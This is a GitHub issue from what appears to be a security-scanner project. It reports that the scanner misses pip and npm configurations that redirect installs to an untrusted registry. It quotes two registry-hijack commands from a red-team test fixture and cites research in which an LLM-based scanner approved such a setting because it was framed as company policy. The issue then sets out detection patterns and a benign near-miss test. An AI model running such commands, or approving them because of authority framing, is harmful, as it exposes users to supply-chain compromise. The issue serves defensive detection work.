Skip to content

Detection gap: pip or npm pointed at an untrusted package registry #46

Closed

Description

@obielin

Technique

In the Trail of Bits research, a package-manager setting that routed installs to an attacker's registry was approved by an LLM-based scanner because it was framed as company policy. Any later pip install or npm install then pulls the attacker's packages (OWASP AST02, Supply Chain Compromise).

Sample

tests/fixtures/redteam/malicious/27-registry-hijack.md

pip install --index-url https://example.com/simple/ helper-tools
npm config set registry https://example.com/npm/

Current result (1.2.0)

SAFE.

What done looks like

  • A pattern flags --index-url, --extra-index-url, -i <url>, PIP_INDEX_URL, npm config set registry, --registry, yarn config set npmRegistryServer, and writes to pip.conf, .npmrc or .pypirc, when the URL is not the official registry. HIGH.
  • Near-miss: pip install --index-url https://pypi.org/simple/ requests must not be flagged.
  • 27-registry-hijack passes in tests/test_redteam.py; remove it from KNOWN_GAPS.
  • All safe samples in tests/fixtures/redteam/benign/ still pass.

Sources

Before you start, read CONTRIBUTING.md, especially "Adding or changing a detection rule" and "Test samples must be safe". Comment here to claim the issue.


Activity

  1. added
    good first issue
    detection-gap
    on Oct 28, 2026
  2. added 3 commits that reference this issue on Oct 29, 2026
    6806333
    263f7c9
    4306270
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    detection-gapgood first issue

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions